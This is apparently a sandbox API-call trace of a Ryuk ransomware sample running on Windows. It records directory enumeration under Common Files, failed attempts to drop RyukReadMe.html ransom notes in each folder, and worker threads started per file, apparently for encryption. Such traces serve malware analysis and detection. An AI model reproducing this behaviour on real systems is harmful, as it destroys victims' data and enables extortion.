	[0169.157] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\ado\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.158] GetLastError () returned 0x5
	[0169.158] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0169.158] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.158] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4f1c09, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf4f1c09, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x128ffb00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x5a, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1
	[0169.158] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0169.158] SetLastError (dwErrCode=0x0) 
	[0169.158] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.158] GetLastError () returned 0x5
	[0169.159] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0169.159] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.159] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79bc0
	[0169.159] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0169.159] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x68, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1
	[0169.159] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x68, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0
	[0169.160] FindClose (in: hFindFile=0x79bc0 | out: hFindFile=0x79bc0) returned 1
	[0169.160] SetLastError (dwErrCode=0x0) 
	[0169.160] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.160] GetLastError () returned 0x5
	[0169.160] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0169.160] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.161] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1
	[0169.161] SetLastError (dwErrCode=0x0) 
	[0169.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.161] GetLastError () returned 0x5
	[0169.161] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0169.161] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.161] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a3a0
	[0169.400] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0169.401] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34c44b4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34c44b4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa05a2bb2, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x68, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1
	[0169.401] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x87a0000
	[0169.402] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c0
	[0169.404] VirtualFree (lpAddress=0x87a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.405] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34ea611, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34ea611, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa063b126, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x68, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1
	[0169.405] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x87a0000
	[0169.405] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c4
	[0169.407] VirtualFree (lpAddress=0x87a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.408] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0169.408] SetLastError (dwErrCode=0x0) 
	[0169.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\msadc\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.409] GetLastError () returned 0x5
	[0169.409] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0169.409] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.409] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79c20
	[0169.427] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0169.427] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x74, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1
	[0169.427] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32e361, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc32e361, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x74, dwReserved1=0x0, cFileName="msadcfr.dll.mui", cAlternateFileName="")) returned 1
	[0169.427] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a073ed, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9a073ed, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x74, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1
	[0169.427] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93053f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x93053f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x74, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1
	[0169.427] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1
	[0169.427] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x74, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1
	[0169.427] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x74, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0
	[0169.428] FindClose (in: hFindFile=0x79c20 | out: hFindFile=0x79c20) returned 1
	[0169.430] SetLastError (dwErrCode=0x0) 
	[0169.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.441] GetLastError () returned 0x5
	[0169.442] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0169.442] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.442] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cac9e93, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x2cac9e93, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x2cac9e93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x68, dwReserved1=0x0, cFileName="handler.reg", cAlternateFileName="")) returned 1
	[0169.442] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x87a0000
	[0169.443] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c8
	[0169.445] VirtualFree (lpAddress=0x87a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.446] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x2d63e7d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x68, dwReserved1=0x0, cFileName="handsafe.reg", cAlternateFileName="")) returned 1
	[0169.446] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x87a0000
	[0169.447] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9cc
	[0169.449] VirtualFree (lpAddress=0x87a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.450] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b36a80d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b36a80d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b6180d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb7000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1
	[0169.450] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc13c33e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc13c33e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e1eed0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1
	[0169.450] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9e4ffc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9e4ffc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msadcf.dll", cAlternateFileName="")) returned 1
	[0169.450] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf732e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfbf732e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e6a9c0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msadcfr.dll", cAlternateFileName="")) returned 1
	[0169.450] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1
	[0169.450] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc0a3dca, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc0a3dca, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80edd5b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1
	[0169.450] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84872aa8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84872aa8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84872aa8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msadcs.dll", cAlternateFileName="")) returned 1
	[0169.451] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3801e6, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc3801e6, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x345eeb10, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1
	[0169.451] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfce53b36, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfce53b36, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80fc2d90, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1
	[0169.451] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7d9276, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd7d9276, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x81dbdf30, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1
	[0169.451] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d295c, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc0d295c, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3497fc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5f000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1
	[0169.451] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93fdbb10, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93fdbb10, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94001c70, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1
